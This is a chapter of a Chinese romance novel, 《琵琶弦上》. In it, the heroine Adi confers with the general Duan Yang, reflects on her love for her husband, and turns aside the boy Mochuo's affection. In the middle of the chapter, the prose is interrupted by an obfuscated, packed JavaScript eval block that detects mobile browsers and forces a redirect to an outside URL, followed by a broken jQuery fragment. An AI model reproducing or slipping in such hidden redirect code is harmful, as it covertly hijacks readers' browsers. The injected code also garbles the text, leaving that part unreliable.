92. 九十二、拨情雾
作品:《琵琶弦上》 阿荻也没想到,留在阜城的守将竟然是段央。
她与段央算不得熟识,不过在独孤策那里见过几面,但从独孤策口中却听到许多对他的赞誉,说他沉稳有度,说他谋略过人。没想到这次出征,独孤策竟然舍得将他留在后方。
段央远远迎上来,展颜笑道:“殿下见到末将怎这般惊讶?”
原不知他是这样随和的性子,阿荻莞尔,道:“将军这般猛将,竟然被大王留在后方,我怎会不惊奇呢?”
段央摆了摆手,说不敢,延请阿荻入帐后,才缓缓说道:“后方之重,有时比前线也不遑多让,否则殿下也不会亲自来见末将一趟了。”
阿荻一怔,眼神掠过段央从容弘雅的脸。
“将军知道我今日来的目的?”早知他多谋善断,却不知他已有未卜先知的本事。阿荻一时愕然,试探地问。
段央吩咐人上茶,将上首的位置让了出来,自己只坐在一旁。
二人坐定,他方开口,依旧是不紧不慢的语气:“末将哪有这个本事,这都是大王出征前的嘱咐。”
“大王说,韩文归降之心不诚,阜城多方势力盘根错节,日久必生乱。”
阿荻腹诽,既然他都知道,何不早早除去,给自己留这么大的隐患做什么。
段央猜出了她的疑问,继续说道:“大王在时,无人敢轻举妄动,若无过错便斩杀降臣,定会人心浮动,如此得不偿失。大王说,王后殿下最是细心,若是她发现了端倪,必然会来找末将,倒时末将便知道该如何处置了。”
蓦得心弦一颤,没来由的欢喜了刹那,原来他们已有了这样的默契。旋即不由松了口气,独孤策有防备最好,不然后防不稳,如何在前线安心杀敌。
“殿下放心,大王信任末将,末将便是万死也要保阜城周全。只是……”他窥着阿荻的脸色,迟疑着开口。
“将军但说无妨。”阿荻接过他递上的茶盏,和言道。
段央忖了忖,还是问了出来:“原是末将多嘴,只是想问殿下,为何忽然将杨将军等人遣回抚远城,可是抚远城出了什么事?”
此人着实谨慎,阿荻不免叹服,不过她不打算说得太过详细,以免被独孤策知道了,又该担心。
于是淡淡说道:“也没什么大事,不过是夫人生了病,我怕大王不在生了事端,让杨将军先回去探查情况。正好将军问起,我便也直言相告,这几日我也打算回去,只是这些微末小事,还是先不要告诉大王,免得他分心。”
她说得轻松,但段央本能感觉到事态没有这样简单。
他从别人口中听过许多关于王后的传闻,但今日一见,却觉得与传闻大不相同。她是个极有心机的女子不假,但从气度和谈吐可以看出,她的见识和谋略并不比贺兰夫人差。
抚远城定然有大事发生,她此番回去,想必是要亲手去解决的。不告诉大王,也自有她的考量。
这一点,他也认同。攻克长安,便在旦夕,容不得任何差池。
“殿下勿忧,昨日已有羽檄传回,景阳守军见我军势猛,早就闻风而降,大王一路兵不血刃,现已到长安郊外。”段央将羽书交给了阿荻,忍不住宽慰道。
果然,她的眼中闪过惊喜之色,人也放松了不少。但那封羽书,她却始终没有打开。
“羽檄乃军中机要,我无权查看,将军肯告诉我,我已经很感激了。”她将东西递还给段央,声音里多了几分叹息,“大王已到长安,想来免不了一场血战,我不能相伴于沙场,也无法运筹于帷幄,只能盼着后方安稳,让他少些顾虑。”
“若大王问起,将军只说我这里一切都好,让他安心。”
段央拱手,说晓得,想了想又道:“我这里安排一队人马护送殿下吧。”
阿荻摇头说不用:“我已安排好了,将军不用挂牵,只是此处干系重大,便多劳将军费心了。”
段央又行礼,说让阿荻放心。说罢,见她不欲多留,便派了几个亲兵将她护送回了城中。
……
“他分明有信,却没有传给我。”回去的路上,阿荻恹恹的靠着车壁,忍不住低声叹道。
环夫人低头笑了一声,道:“你心中比谁都清楚明白,为何还有此一问?”
对啊,她比谁都明白,军中之事自然是要事,传信给段央,也是为了提醒他稳定后方,将粮草及时准备好,已备大战之需。形势容不得他分心,留不出片刻让他儿女情长。
道理她懂,可就是心里空荡荡的。
“我也不知道为什么自己变得这样敏感。”阿荻打开车窗,看着外面纷沓而过的街景,茫然的瞬了瞬眼眸。
“你只是在意他罢了。”环夫人给出结论,脸上的笑意带了些幽微。
她本来就是个敏感纤细的性子,只是过去没有脆弱的机会罢了。这样的阿荻,才更真实,仿佛又回到了宛城初见,她恣意地和兄长撒娇,被指责后一个人偷偷躲在树后掉眼泪。
那是环夫人第一次见她,那时她只是个剑客,以为此生也不会和这样的娇弱娘子有什么关联。
“我可能真得想他了。”
“你说,他若是知道我不告而别,会不会生气呀?”
会不会生气不知道,但一定会心疼,毕竟为了他的大业,她简直操碎了心肠。如果这不是爱,那什么才算呢?
……
阿荻回府,已是黄昏,见府门外有个瘦弱的少年焦急地等在门前,仔细一看确是默啜。
默啜迎着马车的方向快跑了几步,见阿荻下了车,才压低声音催促道:“不是说今日出发么,我都等了这么久了,怎么一直等不到你回来。”
年少之人难免心气浮躁,阿荻见他满脸焦急,笑着安慰道:“若不想打草惊蛇,白日出城岂不是太招摇了么。”
对他的手心比划了几个字,附耳低语:“我们城外见。”
默啜聪明,一听便明白了过来,挠了挠头,尴尬地道歉:“是我想得太少,给你添麻烦了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413146|186734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他的脸涨得通红,一双明亮的眼里闪烁着诚挚的光芒。阿荻忍不住伸手去,轻轻捏了捏他的脸,说:“也不算麻烦,不过人心难测,总要提防些。”
少年的脸涨得更红了,怔怔然看着阿荻,半晌都没有反应。
阿荻笑了一下,准备往里走,忽然听到身后传来一个声音,讷讷的,羞涩的,仿佛鼓足了勇气:“你……你不要这样……你是阿兄的心上人,我不能抢的。”
阿荻忽然顿足,忍不住回首。夕阳将少年的身影拉得很长,他立在那片暖融融的光线里,认真又执拗。
阿荻心上一阵彷徨,说不上是什么感觉,许多过往的碎片拼凑起来,拼成了她并不愿意看到的模样。
她不知该如何说,该对这个少年,还是对他的阿兄。
想了想,生出了快刀斩乱麻的残忍与凌厉,她走进几步,温柔地低语:“这可是个糟糕的念头呢,我可告诉你,我的夫君是大英雄,草原上没有人能战胜他的。而且,我的心里也只有他一个,天崩地裂都不会改变。”
这是她第一次清清楚楚的面对自己的内心,心中有拨云见日的朗然,她瞬间明白方才的彷徨是因为什么,那是她被封锁起来的,从不敢示之于人的爱,哪怕经历了再多,也未曾正视过的爱。
她心中的人,从来都只有一个。身处何地,经历再多,都未曾改变过。她无数次想要否定,却又无数次捡拾而起,只敢在午夜梦回时敝帚自珍。
少年睁着懵懂的双眼,眼眸中流淌着复杂的情愫。他不懂什么喜欢不喜欢的,他只觉得这个女子很好,样样都好,若是能一直陪在他身边就更好了。阿兄告诉过他,喜欢便是想要长长久久的在一起。
“那你想要与王后殿下长长久久的在一起吗?”他曾这样问道。
阿兄却迟疑了,他紧锁着双眉,想了很久很久,才勉强说了一句话。他说:“我只想保护着她,能不能长久地陪伴,这没什么要紧的。”
他的话模棱两可,但默啜却清晰的感觉到,阿兄的心里有她。
代国的大王有什么了不起的,哪怕别人将他吹得天花乱坠,在默啜的心里,他也比不过自家的阿兄。草原上有个规矩,若是喜欢的姑娘,抢到手里便好了。就是不知道阿兄有没有那样的勇气。
多可惜啊,若是错过了她,阿兄该多伤心。
阿荻看着默啜,不免想到了当初的他们。那个篝火边枯坐的少年,有着俊逸不凡的样貌和让人怜爱的悲伤,一开口却满是倔强。
“你不需要这样看着我,总有一天我会夺回失去的一切,那时我一定用最盛大的典礼迎你做我的可贺敦。”
说那些话时,他比眼前的少年也大不了几岁。
阿荻长叹一声,笑得释然:“默啜,总有一日你也会遇到一个真心喜欢的女郎,到时一定要记得好好待她,不要惹她伤心,更不要让她等太久呀!”
默啜眨了眨眼睛,莫名其妙地点了头。见她那样笑,又羞赧地低了头,几乎是逃也似的跑开了。

